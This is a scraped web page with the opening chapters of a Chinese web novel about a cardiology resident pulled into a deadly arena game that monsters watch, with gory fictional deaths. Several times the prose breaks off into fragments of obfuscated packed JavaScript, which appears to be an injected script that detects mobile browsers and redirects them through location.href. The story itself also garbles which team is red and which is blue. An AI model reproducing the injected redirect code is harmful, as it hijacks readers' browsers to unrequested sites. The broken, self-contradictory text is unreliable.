《深渊竞技场[无限]》 1. round 0.指令挑战赛-01 5月10日,星期一。 中午一点半,令言从之江医学院附属第一医院的门诊大楼出来,冷不丁抬头,被高悬中天的骄阳照了个正脸,只觉得大半视野都白了。 令言摘下眼镜,两指揉了揉睛明穴,又用力眨了几下眼,感觉那阵天旋地转缓和下来以后,才重新戴上眼镜,缓步走进了午间的艳阳里。 身为心内科的博一生,令言已经在CCU里干了九个月。 他隔天便要值一个二十四小时班,次日下夜班后还有查房、改医嘱、码病历、病人收进转出、给患者做治疗等等工作,即便不用进导管室,等到真正能下班时,往往已是中午甚至是下午了。 比如今天,令言昨天值班,半夜里病区状况频出,他几次被护士姐姐的电话叫醒,前后拢共睡了不到四个小时,再加上清晨起床后就一直在忙,直到现在午饭都还没吃,现在只觉头晕眼花、手软脚软,也不知道是缺觉累的,还是缺糖饿的。 令言现在只有一个想法,就是马上回宿舍,吃饱以后躺到床上好好补个眠。 抱着这样的念头,令言拖着沉重的脚步,走进距离附一院只有两百米的一个小区。 医院给院里的年轻医生们在小区里租了一整套九层的老式小楼,再把每个套间用木板墙隔成单人宿舍,虽客厅、厨房、卫浴共用,好歹房间门一关就是个独立的空间。 此地住宿条件实属一般,但胜在租金十分便宜,院方只象征性地收他们每月两百块,加上离医院又足够近,对还没在这座城市站稳脚跟的年轻医护工作者来说,实在没有比这更好的选择了。 令言的宿舍在四楼的402房。 他输入密码开了门,进屋时正好碰到舍友老徐端着桶泡面从厨房出来。 “哎呦,令言你回来啦。” 老徐比令言年长四岁,是普外科的在职研,几乎全年无休,天天都要上台下台,工作时间比他更飘忽,两人难得在宿舍碰上面。 令言笑答:“嗯,下夜班。” 他蹭了老徐刚烧好的热水,也给自己泡了碗面。 两人在餐桌旁坐定,皆饿得前胸贴后背,什么也不说了,低头就是一顿猛嗦。 老徐吃得比较快,一桶面下肚犹觉意犹未尽,又进厨房打算给自己再放半袋速冻水饺。 在等水开的空档,他终于有空摸出手机随便刷一刷社媒。 没想到这一看,便看到了令他大惊失色的震撼新闻。 “卧槽,令言你快看手机推送!!” 老徐顾不得他那半锅刚刚开始冒泡的饺子水,站在料理台前就放声嚷嚷开了: “隔壁滨海市消失了!” 令言的手机放在了包里,并不在手边,冷不丁听到老徐这一嗓子,吃惊地抬起头,睁大了双眼:“什么叫‘消失了’?” “就是不见了啊!” 老徐大声回答:“据说整个城市被不明黑色物质覆盖,没人能进去,也没人能出来!现在网上整个都炸锅了!” 说着,他快步走出厨房,举起手机,想要把那座包裹在黑暗穹隆中的城市的鸟瞰图展示给令言看。 然而老徐一抬头,呆立原地,脸上震惊的表情仿佛凝固了一般,从头到脚都生动地诠释着何为“不知所措”。 他无法理解自己此刻看到的东西。 餐桌前,只有一碗吃了大半的泡面,还有刚刚落地的一把塑料叉子——哪里还有几秒前还在跟他对话的令言的身影? ### 与此同时,令言也无法理解自己现在身处的环境。 明明刚才还在好好地吃着面,屁股下面的廉价折叠椅忽然就像变成了一团黏腻而浓稠的胶质物。 而这团无形的诡异黏胶甚至不给他惊叫出声的机会,如同伸展开了全部腕足的大八爪鱼一般,瞬间就扩大到了能将他整个人包裹进去的尺寸。 窒息的痛苦很短暂。 令言被看不见的胶体吞没的瞬间,最后听到的是室友老徐含糊的嗓音,最后看到的是视野骤降时餐桌的一脚,下一秒,声音和影像便全部消失,他陷入了一个黑暗且极致安静的粘稠世界中…… ……然后呢? 然后他被那团凝胶给“吐”了出来。 与被吞没的过程一样迅速,那团让他无法呼吸的胶体猝然张开,他还没来得及趁机喘一口气,就感到了翛然下坠的失重感,紧接着身体便凭空坠落。 令言只来得及发出半个“啊”字,便整个人摔在了两条紧实的臂弯里。 ——!? 惊呼声卡在了嗓子眼中。令言条件反射抬头,正对上一张冷漠到看不出一点情绪的俊美面孔。 饶是情况诡谲,令言也不免被这张脸给狠狠惊艳了一下,以至于有了长达两秒的失神。 而就在令言愣住的时候,神色冷漠的美男子似乎也在打量被他接住的从天而降的年轻医生。 “……怎么搞的……?” 美男子冷若冰霜的表情出现了一丝松动,却是浅浅地皱了皱眉,没头没脑地抱怨了一句。 “算了,没时间了。” 他又忽然来了这么一句,随后站起身,同时一把拽起了仍在云里雾里的令言,“别愣着,要开始了。” “什么?” 令言懵圈:“要‘开始’什么?” 在发问的同时,令言才终于有机会打量周遭的环境。 他发现自己正和这个五官俊美得犯规的青年站在一条走廊里。墙壁纯白、地板纯白,材质如同光洁的上等白瓷,却找不到瓷砖拼合的缝隙。 那么长的一条走廊,竟似一体成型的一般,无瑕到了不可思议的地步。 令言的目光震惊地四处游移,从高挑英俊的冷漠青年移到光洁的瓷白走廊上,随后回头看了一眼。 他们背后的走廊目测近百米,尽头是一片不知名的黑暗。 那深不可测的黑暗让令言本能地生出了恐惧,下意识地抓紧了身旁俊美青年的胳膊。 青年好似对小臂上的那点力道毫无所觉,只大步朝前走。 令言看到,走廊的前方是一扇门,只是此时门扉紧闭,也不知外头到底是什么地方。 “等等!” 令言心中忐忑,更用力地拉住了俊美青年的胳膊,试图让对方停下来:“这里到底是哪里?为什么我……呃,我们会在这里?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520907|170711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这是他目前最迫切想要知道答案的问题。 然而青年只是再次蹙起了眉。 他似乎纠结了一下该如何解释,发现自己无法三言两语清楚回答令言的疑问之后,就开口说道:“别问了,没时间了。” 语毕,他转向令言,漆黑如墨的眸子盯着对方藏在镜片后的琥珀色眼睛,“等会儿你别拖我后腿。” 青年的语气很冷淡,却不知为何自带一股不容拒绝的意味。 令言再次愣住了。 从小都是“别人家孩子”典范的他,文化课文理全能不说,即便连最弱的体育也至少是中上水准,多久没听过别人用“拖后腿”这个词来形容他了。 就在他想追问青年究竟什么意思的时候,对方已经反手抓住了他的胳膊,拉着他快走几步,穿过走廊的最后一段路,一把推开了那扇紧闭的大门…… ### “哗——!” 大门打开的瞬间,炫目的白光充斥了令言的视野。 过于明亮的照明让他一时间难以视物,但阵阵声浪扑面而来,那是数以万计的人在广阔的场地才能聚集的音量。 令言下意识眯起双眼,在白光中用力眨了几次眼睛。 在浪涛般的鼎沸呼喊声中,他的双眼逐渐适应了环境的亮度,终于看清了自己此时究竟身处何地。 这是一个很大的场馆。 令言念研二那年刚好赶上所在城市承办全运会,他申请了去当全运会的医疗志愿者,服务的场馆恰好是全市最大的露天体育馆。 那是一个能容纳六万余人的大馆,令言培训流程时,光是在规定时间内跑到指定地点就够他折腾的。 然而此时此地,他身处的场馆,分明比他服务过的六万人场馆还要大出许多——正圆形的场馆外圈坐满了观众,阶梯状的同心圆坐席一圈一圈向更高更远处排列开来,几乎高到要没入云霄,根本无法判断到底有多少席。 而更让令言感到毛骨悚然的是,坐在观众席上的那些满脸兴奋,激动呼喊、手舞足蹈的观众们,根本不是人类。 ——是的,祂们都不是人! 太高太远的观众看不清楚,但离得最近的那些,令言还是能用肉眼就分辨出祂们的长相的。 席上的观众,有相当一部分根本不具备类人的外形。 有的像是糅合了各种动物特征的四不像,有的躯体则更像植物或是器物,而有些则更加抽象,干脆如同橡皮泥随意捏出的团块,根本没有一个固定的形体。 至于那些具有人类外形的,也怎么看怎么不像是“人”,青面獠牙狰狞恐怖的有之,白骨外露阴森诡异的亦有之。 连长得美貌或是英俊的男男女女,非人的特征也格外分明——比如头上顶着的几乎能挡住后排视线的巨大犄角,或是同时挥舞着各色应援棒的六条胳膊,还有咧嘴就露出的交错参差的四排鲨齿等等等等。 这不是CG特效,更不可能是特殊化妆。 令言一颗心猛然一坠,无可抑制地被恐慌和无措所淹没。 这一刻,他清楚地意识到,自己当真陷入了一个无法用常识解释的诡异境地——危险且致命。 2. round 0.指令挑战赛-02 令言学了天打雷劈的医科,念的还是口口声声说着熬夜有害健康,但熬夜率却是全院前茅的心内科,平常是真的忙得有空死没空病,上次看网文打发时间已是好几年前了。 但饶是令言没多少时间看花里胡哨的网文,好歹还是知道“穿越”这么个设定的。 可惜此时不是纠结自己到底是怎么穿的时候。 因为偌大的体育场正中,壁垒分明地分成了两派人马,一看便是对峙的状态。 连同不由分说把他带进场地的俊美青年和令言本人在内,他们和另外四个人一起,站在了圆形场馆的右侧,脚下踩着一块蓝色的圆形区域。 与他们直线距离约莫三十米开外,是一片红色区域,同样站着六个人。 一样的人数,红蓝方的设定,更重要的是,场馆上方悬空的巨大的记分牌,都让令言瞬间联想到了“比赛”这个词。 他下意识地往后退了半步,贴近身旁的俊美青年,“喂……” 令言想问问,他们接下来要做什么。 然而没等他开口,场馆里忽然亮起了六色射灯,伴随激昂的音乐和来自四面八方的欢呼,那些非人的观众们疯狂挥舞着手里各色应援物,气氛瞬间鼎沸起来。 令言在灯光与喧嚣中抬头,目光扫过周遭一圈的观众席,这才注意到坐席像切蛋糕一样被整齐地分成了六个区域。 每个区域的非人怪物们手里都拿着应援物,虽花样繁多,但亮起来时,每个区似乎都有它自己的一个主色调,红黄绿蓝白黑六色呈扇状展开,看起来很有组织性,甚至有点儿明星演唱会的气氛了。 就在这时,一个长着翅膀的人形生物从天而降,轻飘飘地落到了场馆中,不偏不倚正好站在了红蓝区域的正中间。 那是一个“女性”,或者说,仅从外观特征判断,像是个女性。 祂凹凸有致、曲线分明的身躯被一件缀满亮片的曳地长裙所包裹,长长的黑色卷发从肩侧披散下来,一直垂到了腰际。 但这位女士不仅长了一对蜻蜓一样的长而纤薄的翅膀,还有着同样很具有昆虫特征的巨大复眼与倒钩状的锋利口器,连握着麦克风的手都只有两根“手指”,怎么看都更像是只钳子。 “恶徒们、混蛋们、魔鬼们,还有死灵和妖精们,让你们久等了!” 手持麦克风的复眼女士一开口,就是一连串匪夷所思的称呼。 六个区域的观众顿时爆发出了更强烈的欢呼。 “今天我们的挑战者,是场上的这十二位人类!” 复眼女士作为主持人,等欢呼声弱下去之后,没多说废话,而是很干脆地做起了介绍: “看挑战者们的站位,我想大家已经能猜到,这是一场以‘团队’为单位的挑战赛!” ——果然! 虽早有预感,不过听主持人说出“挑战赛”这个词的时候,令言还是有种“果真如此”的感觉。 他飞快地瞟了一下自己身边的五名队友。 除了身边那位俊美到令人印象深刻的青年之外,剩下的四人不管是长相还是打扮都很普通。 第一个是穿着一身得体黑西装套裙的女性,年约三十岁后半,看起来很有精英范儿,只是原本烫卷得很精致的及肩大波浪不知为何十分凌乱,眼线和睫毛膏也全花了。 第二个是个高壮小哥,身高接近一米九,袖口挽起后露出的半截小臂肌肉结实,一看就是经常锻炼的类型。 第三个是个十七八岁的男孩子,像个高中生,穿着脏兮兮的藏蓝色校服,畏畏缩缩地躲在人群的最后,不停地揉搓自己的外套下摆。 第四个则是一个穿着T恤和牛仔裤的二十多岁的年轻女孩,在脑后扎了一条低马尾,给人斯斯文文的感觉,但除此之外,再无明显的特征。 至于对面的六人,因为离得有点远,令言只能看个大概——只是看衣着打扮似乎也是普通的居民,非要说的话,就跟随便在街上拉来的路人甲乙丙丁差不多。 令言注意到,除了面无表情的俊美青年之外,自己身旁的这几个同伴神色各异,紧张、不安、忐忑、畏惧、瑟缩、慌张皆有之,唯独没有一个人像他这般面露迷惑的。 很显然,这些人都知道自己正身处何地,并且对即将面对的所谓“挑战赛”已有了心理准备。 ——看来他们都不是第一次经历这些了! 令言瞬间对自己“新人”的身份了然于胸,并因此生出了更强的警惕心。 ### “就如各位观众所见,这里一共有十二名人类挑战者,分成红组和蓝组。” 复眼女主持说到这里,忽然发出了一声带着颤音的尖锐怪笑: “嘿嘿!当然,看颜色就知道他们分别是伟大的‘苦痛领主’和‘结晶之心’的信徒,虽然这是废话,但谁让咱们这里有些智力比较低的笨蛋呢!” 现场爆发出一阵激烈的嘘声,尤其以红色区域和蓝色区域的非人观众们反应最为激烈。 不少奇怪的物品朝场地中央的主持人砸下来,却被一层无形的光罩挡住,在半空中弥散成齑粉。 复眼女主持调戏够了观众之后,才笑嘻嘻地接着解释规则: “这场比赛一共有十二条指令,每个挑战者都可以从中选择其中一条执行。” 说罢,她抬起手,朝着场馆正中比了个“请看”的手势。 场馆中央,原本凹下去的区域升起了一块直径约十五米的圆形浮板,直至升到与其他地板相同的高度才停下来,并严丝合缝地和周边拼合在了一起。 同时,新增的区域清楚地展现出了本次挑战赛将会用到的“道具”。 令言的心脏猛然一咯噔。 几乎是一瞬间,所有人都看到了正中央那个巨大的铁笼子,以及其中关着的一头面目狰狞恐怖的野兽。 ——哗! 瞧见刺激的玩意儿,观众席再次爆发出了喧哗的欢呼。 那是只长得很像狼的野兽,但体型明显比野狼还要大了一整圈。 它不算尾巴身长就足有两米,一身毛发呈现出金属光泽的银灰色,吻部比狼更长更宽,咆哮时嘴巴一直咧到耳根处,清楚地露出了口腔内部上下各两排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520908|170711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒钩状的参差利齿。 “啊!” 令言听到两步外穿着西装套裙的精英模样的姐姐发出了一声压抑的惊呼。 另外三人也面容扭曲,瑟瑟发抖,即便都在竭力控制,还是明显都感到了恐惧。 唯有那高挑俊美的青年,神色如旧,镇定得仿佛一樽精雕细琢的白玉雕像。 “各位挑战者,请你们听好了。” 复眼女主持左右四顾,充分欣赏过场地中央十二个孱弱的人类此刻的惊恐不安之后,才接着说道: “以小组为单位,每组只要完成四条指令,整组人都可以通关。” 她嘻嘻笑了起来:“怎么样,很简单吧?” ——六个人,只需完成四条指令就能过关。 ——也就是说,有三分之一的失败机会。 令言强压住对怪狼的恐惧,仔细地听主持人解释挑战赛的规则。 事实上,除了骇人的魔狼之外,场地正中还展示了其他的道具: 一间能容纳一人的玻璃屋,屋子顶部悬挂着一个很大很显眼的蜂巢,数不清的马蜂钻进钻出,充满了整个玻璃房。 一个三十厘米深的玻璃水槽。 一个兵器架,上面挂满了刀枪剑戟各色武器。 除此之外,还有一张桌子,上面放了一条跳绳、一个面粉袋、以及一个很精致的电子天平。 这些道具搁在一起只会让人感觉十分割裂,令言一时间很难猜出它们到底是做什么用的。 “红蓝两组的挑战者将轮流挑选指令。” 复眼女主持接着说道:“每个挑战者只能挑战一次,且无论成功还是失败,已挑战过的指令不能重复挑战。” 她顿了顿,用充满恶意的音调,一字一字补充道: “如挑战者挑战失败,就会当场被处死,没有第二次机会哦~” ### “处死”这个词明显刺激到了现场的非人观众们,又是一阵惊天动地的欢呼和喧哗,更多的杂物被丢进场馆内,似是在催促挑战者快些赴死。 “好了,接下来,让我们来看看,挑战者们将要执行什么样的指令吧!” 等现场安静后,复眼女主持打了个响指,场馆正中的记分牌上方就忽然多出了一个悬空的电子光屏。 光屏很大,足够挑战者和观众们都清楚地看道其上浮现出的文字。 恰好十二行,正是令言等人即将要挑战的十二个指令: 【1、砍断一只手; 2、三十秒内正确背出元素周期表; 3、六十秒跳绳≥160次; 4、回答猫在哪里; 5、水下闭气八分钟; 6、杀死魔狼; 7、把刀刺进胸口; 8、听前奏猜音乐名; 9、三十秒内连续做10个单手侧手翻; 10、一百六十秒内正确背出《岳阳楼记》; 11、从马蜂巢里取出一枚硬币; 12、一次性从面粉袋里抓出50克面粉,误差≤1克。】 3. round 0.指令挑战赛-03 令言蹙起眉,仔细地、认认真真地将屏幕上的指令反复看了三遍,直至牢牢地记在了大脑里。 这十二条指令里,有些是只凭中学生程度的知识也能达到的,比如背元素周期表和《岳阳楼记》。这两条他能轻易搞定,同时也相信在场应该有部分人也能做到,但却只能算一分。 至于跳绳和单手侧手翻,身体素质比较强、运动神经出色的人应该也能做到。只可惜令言学医以后就疏于体锻,侧手翻他不会,跳绳也有些玄乎,他没把握自己能达成。 有些指令,光看就知道基本上是不可能的。 比如抓面粉、水下闭气、砍手、刀刺胸口,因为实在过于危险过于极限,容错率低到令人发指,分分钟都可能致命,令言觉得应该不可能有人会选这几项。 至于风险超大的马蜂巢取硬币和杀魔狼,前者估计得抱着必死的决心硬着头皮上,后者则基本上大约是必死无疑了。 另外纯看运气的听前奏猜音乐名,还有无厘头到根本不知道是什么意思的“猫在哪里”,其他人且不论,至少令言是不会把它们列在优先挑战的项目上的。 在心里把所有指令盘点完之后,令言感觉有把握的项目都很难凑够四项,就更别说还要两队轮流均分了,难免心中暗暗有些着急。 “哦,忘了说了。” 复眼女主持笑着补充道:“如果哪一组没能完成四个任务,就会被当场处决哦!” “处决”这个词明显勾起了数以十万计的观众的情绪,纷纷高声喊叫起来。 一开始声音还杂糅混乱,观众们各喊各的,渐渐地便不知不觉统一了起来,最终汇聚成了整齐划一的; “杀——!杀——!杀——!” 杀声震天,非人的怪物们只恨不能亲自下场,将下面那十二个弱小可怜又无助的人类撕成碎片。 令言听到身边有人发出了恐惧的哀鸣,像是快要被这杀气腾腾的气氛给吓哭了。 “各位挑战者,游戏规则你们都听懂了吗?” 复眼女主持左右看了看,意思意思询问了十二名人类的意思。 没人吱声,也不知是真没有问题了,还是压根儿不敢吱声。 “那可太好了。” 复眼主持人发出了几声高亢的尖笑,然后手腕一翻,一枚硬币便被她夹在了钳子里。 “现在,让我们来看看,哪边先发起挑战吧!” 虽然是异界,不过这群非人生物决定先后顺序的方式倒是出乎意料的传统。 复眼女主持让红蓝两队人决定先后手,令言这边的蓝方还没开口,对面的红方已经有一个高壮的男人抢先举起了手,大声喊道:“我们要‘字’!” “好,红方要‘字’。” 复眼女主持转头问蓝方:“那你们就是‘花’了?” 令言等人没有提出异议,但也没有应和,只有那位穿着套裙的精英模样的姐姐很轻地点了一下头。 “好,红字蓝头,买定离手!” 主持人也不废话,将硬币高高抛起,又用她那只钳子似的手接住,在掌心里摊开来。 不知藏在何处的直播镜头立刻拉了个近景,将结果清晰地投影在了浮空的大屏幕上。 复眼女主持手里的硬币正面朝上,清晰地显示出了一个“1”字。 ### “我,我先!” 在抛硬币结果显示在屏幕上的下一秒,红组就传来了一个响亮而急促的叫喊声: “我先来!我先来!” 令言闻声看去,只见对面红组里,有一个瘦削高挑的青年高高地举起了双手。 灯光,连同现场无数非人生物的目光全都集中到了这个主动第一个吃螃蟹的青年身上。 “很好,我们今天的挑战者很勇敢呢!” 复眼女主持笑问:“请问你要挑战哪一项指令呢?” “第九项!” 高瘦的男青年似是早就想好了,一秒都不带耽搁地就回答道:“我要挑战三十秒内连续做10个单手侧手翻!” 这青年在现实世界中是体校毕业的,现在在培训机构里教小朋友跳霹雳舞,“单手侧手翻”这种挑战简直就是正撞在了他的专长上,此时不抢更待何时? 毕竟有了“上一次”的经验,高瘦青年早已领悟了一个真理——人不为己天诛地灭,在深渊竞技场中,“谦让”的人是活不下去的。 他要趁着其他人还没反应过来的时候,先争了自己擅长且有绝对把握的项目——别管整队会不会淘汰,先保证自己在挑战指令时不死再说吧! “很好,让我们欢迎第一个挑战者!请上前来!走到场中央!” 复眼女主持兴奋地对着麦克风高声喊道:“他要挑战的项目是指令九——三十秒内连续做10个单手侧手翻!” 高瘦的青年在追光灯的指示下走进放置着各种挑战用品的中心区域。 虽然他竭力显得镇定一点,但从射灯照出的闪闪发亮的额头和湿透的运动衣来看,他现在紧张得浑身都在冒汗。 只见高瘦的青年举起手,咬紧牙关,没有任何前摇地就是开始做侧手翻。 因为过于紧张,他翻的节奏有点太快了,也顾不上空翻的角度是不是一条直线,但除此之外倒是没发生意外,青年一口气就翻完了十下,耗时还不到规定时间的一半。 然而等第十圈翻完,他稍稍踉跄了一下站定之后,等待他的不是完成指令的欢呼声,而是山呼海啸的嘘声。 怪物观众们想看的是挑战失败后血腥的处决,对场中央努力的挑战者报以相当大的不满。 好在就算现场观众再失望,成功就是成功了。 复眼女主持示意高瘦的青年可以归队了,同时记分牌上的分数跳动,红组积一分。 ### “现在轮到你们了。” 主持人转向令言所在的蓝组,“谁来做第一个挑战者?” 令言本想举手,但有两人比他更快。 队伍里两位女士当仁不让,几乎是第一时间举起了手。 穿着得体套裙的精英姐姐与扎着马尾辫的朴素妹子互相对视,眼神说不上挑衅,但谁也没有让谁的意思。 最后是复眼女主持做了决定:“那个扎马尾的女孩儿快了半秒,来,请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520909|170711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上前来!” 扎马尾的女孩看了悻悻放下手的精英姐姐一眼,什么也没说,径直步上了场地的中央区域。 “我要选指令二,在三十秒内正确背出元素周期表。” 女孩的声音不高,但意外地语速平缓,吐字清晰,仿佛胸有成竹。 果然,正如她表现出来的冷静一样,这姑娘明显是理科专业的高材生,对元素周期表烂熟于心,文不加点,一口气就从头背到尾,全程又快又准,没有一丁点错误。 蓝队稳稳地将这一分握在了手中。 接下来,红组的一个学生模样的女生抢到了指令三的跳绳。 虽然小姑娘很紧张,失误不少,但仍然在一分钟里跳出了161次的成绩,险险地超过了指令的下限。 当选择权再回到蓝组时,上回举手举得飞快的精英女姐姐却没有再争,反而让那个穿着校服的高中生抢到了机会。 “我、我……我选指令十……” 高中生果不其然选择了中学生耳熟能详的千古名篇《岳阳楼记》。 “至若春和景明,波澜不惊,上下天光,一碧万顷……登斯楼也,则有心旷神怡,把酒临风,其喜洋洋者矣……” 然而,那孩子也不知是平时语文成绩就不太好,还是因为紧张过头脑袋一下子短了路,他哆哆嗦嗦地把全文背下来,竟然连漏掉了“宠辱偕忘”都没有注意到。 ……完了。 旁听的令言深深地蹙起了眉。 他很想提醒场中央的男孩儿及时纠正错误,可惜根本没有开口的机会,只能眼睁睁地看着那高中生背完了全篇。 很显然,现场的这十万观众里应该没“人”学过《岳阳楼记》,自然也不知道男生背得正不正确。 正在它们不知该做什么反应的时候,屏幕给出了一个大大的红叉。 “吼!!” 无数非人生物同时爆发出了惊天动地的咆哮。 而甚至不知自己哪里犯了错的高中生愣在了场地正中,眼睛直勾勾地盯着大屏幕里那个鲜红的血色大叉,似乎是吓傻了,一动都不会动了。 “很遗憾,挑战失败了!” 复眼女主持用近乎欢呼的尖叫大声宣布道:“第一个失败者出现了!” 而到了这时,高中生才像终于反应过来挑战失败意味着什么,站在中心区的聚光灯中双腿瑟瑟,用彷徨无助的视线左右四顾,试图捞一根救命稻草。 然而没有任何人或是非人会来救他。 下一秒,高中生在全场观众兴奋的嚎叫声中痛苦地尖叫起来。 他好像被丢进了滚油里一样,全身皮肤迅速冒起了水泡。 那些水泡从指甲大开始,眨眼间便胀大到了拳头大小,终于在撑到了皮肤的极限后炸裂开来,喷射出一团一团纷飞的血雾。 而男生这时已经叫不出声音了。 随后,他炸得千疮百孔的躯体像一只破破烂烂的口袋,软软地倒在了地板由他自己的血肉组成的抽象图案上,一动不动,死得不能再死了。 前后不过三秒钟,原本干干净净的中心区域已变成了一个血池地狱。 4. round 0.指令挑战赛-04 鲜血是最好的刺激剂,对观众们如此,对挑战者同样如此。 身为早习惯了与生死打交道的心内科医生,令言从来没想到场地中央那具勉强还看得出人形的血葫芦会让他在一瞬间甚至产生了天旋地转的晕眩感。 他不自觉地向后踉跄了半步。 一只有力的双手忽然在他的小臂上托了一下。 令言顺着那力道抬头,正对上一双形状绝美的漆黑眼眸。 “慌什么?” 俊美青年压低声音,淡淡地说道:“不想变成那样就打起精神来。” ——是啊,不想死就振作一点! 令言虽然不知道这里是哪里,自己又为什么会遭遇到这一切,但眼前的情况已再明确不过了——最容易的四个挑战已经全部结束,他们蓝队居然只拿到了一分! 现在留给他的选择只有两个,要么是想办法过关,保住小命之余给团队赢下关键的一分,要么就摆烂等死,像那可怜的中学生一样变成一只血糊糊的破烂人肉口袋。 ……可是,剩下的指令,真的很难啊! 令言悄悄地抬起眼,看了看那面容冷淡的青年。 明明情势对他们蓝队很不利,好做的指令还都让其他人抢完了,为什么这人还能表现得波澜不惊,一点都没有动摇的样子? 就在两人短暂交流的这一分钟里,已经有两个穿着黑袍的非人类上了舞台,将高中生的遗体拖走了。 只是它们没有清理区域内四溅的破碎血肉,反而还因为拖行遗骸而在地板上又多添了一条长长的暗红拖痕。 骇人的血污显然把红蓝两方的挑战者都震慑住了。 眼睁睁看着一个大活人在自己面前炸出几百个血窟窿,蓝方这边几个队员的脸色现在都很难看。 刚刚很顺利地背出了化学元素周期表的马尾辫姑娘咬住嘴唇,抬头去看大屏幕,神色既恐惧又焦躁,明显也意识到了他们组在丢了关键的一分之后,如今已在悬崖之上,错一步便是万劫不复了。 而另外两名挑战者——穿套裙的精英姐姐和身材高壮的汉子神色同样不安,目光在满地血迹和头顶屏幕上来回切换,还时不时互相打量剩下的几个组员,似乎也对能否通关四项指令感到十分焦躁。 ### “场地清理完毕,该到下一回合了。” 复眼女主持根本不给挑战者们缓一口气的时间,迫不及待地就开始继续接下来的挑战赛了。 选择权回到蓝队,蓝队里站出一个身材纤细高挑、五官端正秀气的气质美女,选择了看似冒险性很高的指令八:听前奏猜音乐名。 这个指令不止讲究积累,一定程度上还得拼运气。 令言猜测对面组那位气质美女大概率是艺术类专业的大学生,对音乐方面有些研究,还很有胆量,才会选择这个相当冒险的指令八。 而那位气质美女果然在音乐方面有两把刷子。 主办方放出来的一段前奏虽不算大冷门,但也绝对不是烂大街到男女老幼都能一听就觉得耳熟的。那姑娘却在前奏刚响起时就露出了如释重负的表情,并很快说出了答案:“是《舒曼钢琴四重奏》的第三乐章。” 气质美女的回答是正确的,蓝组又积了一分。 现在,蓝组已累计三分,只要再多完成一条指令,他们全组人就能结束挑战,活着离开这里了。 虽说眼见胜利在望,但令言瞧着蓝组的六人面上并没有现出多少欣喜之色,而理由也很简单,因为剩下的那些指令,实在颠来倒去也找不出哪一个像是常人之力所能及的。 “接下来,又该到红组了。” 女主持也没耽误时间,直接就将指令的选择权移交到了令言所在的红组。 除了已经做过背诵元素周期表的马尾辫女生,以及只在舞台上留下了无数飞溅血沫的可怜高中生外,红组现在还剩下四个人:一个衣着很体面的精英模样的女士,一个肌肉精壮看起来经常锻炼的小哥,以及黑发黑眸俊美异常的高挑青年,最后就是令言自己了。 组员们的视线不期然相遇,几乎每个人的目光中都带着犹豫和不知所措——只除了抱臂立在一旁的俊美青年,神态淡漠,仿佛这一切都跟他无关似的。 “……我来吧。” 终于,在尴尬的数秒沉默后,身穿得体套裙的精英姐姐朝主持人举起了手:“我选指令。十一。” 观众和挑战者纷纷看向悬浮在半空的巨大显示屏。 上面清楚地显示着指令十一的内容——从马蜂巢里取出一枚硬币。 令言下意识倒抽了一口凉气。 这指令,约等于就是去送死,而且大概率还会死得很痛苦很难看。 他实在想不通怎么有人胆敢冒此风险,挑战这个一看就不像有活路的项目。 ——“哗!” 现场的数万名非人类观众响起热烈的起哄声。 它们如同嗅到了血腥味的鲨鱼,对即将发生的恐怖场面欢呼雀跃、兴奋异常。 “……没办法了。” 在嘈杂的欢呼声中,令言听到身穿套裙的女士低声嘟哝道:“……本来还想留着的……” ——留着? ——留着什么? 令言心中正感纳闷,便看到对方将手探进她那个精致的G家手提包里,然后迈开脚步,缓缓走向圆形的中心区域。 ### 在众人的瞩目下,精英姐姐来到那布满恐怖大马蜂的玻璃箱前。 不知是这种马蜂生性凶残,还是被关得久了憋得难受,仅仅只是看到有人靠近,那大群的马蜂便迫不及待地向着精英姐姐的方向飞去,哪怕一头撞在玻璃上也不罢休。 一时间噼里啪啦声不断,玻璃密密麻麻挤满了黑黄色的马蜂,光看那阵势便足够触目惊心。 她并不急着开门,而是就这么安安静静一动不动地站在玻璃门前,与趴在门上的马蜂近距离对视,也不知是在做心理建设,还是在等待时机。 “快点——快点——”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520910|170711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 女子的磨蹭惹恼了现场观众,起哄声渐渐变成了催促,不久后竟然汇聚成整齐划一的节奏,声声勒令挑战者赶紧进玻璃箱子里赴死。 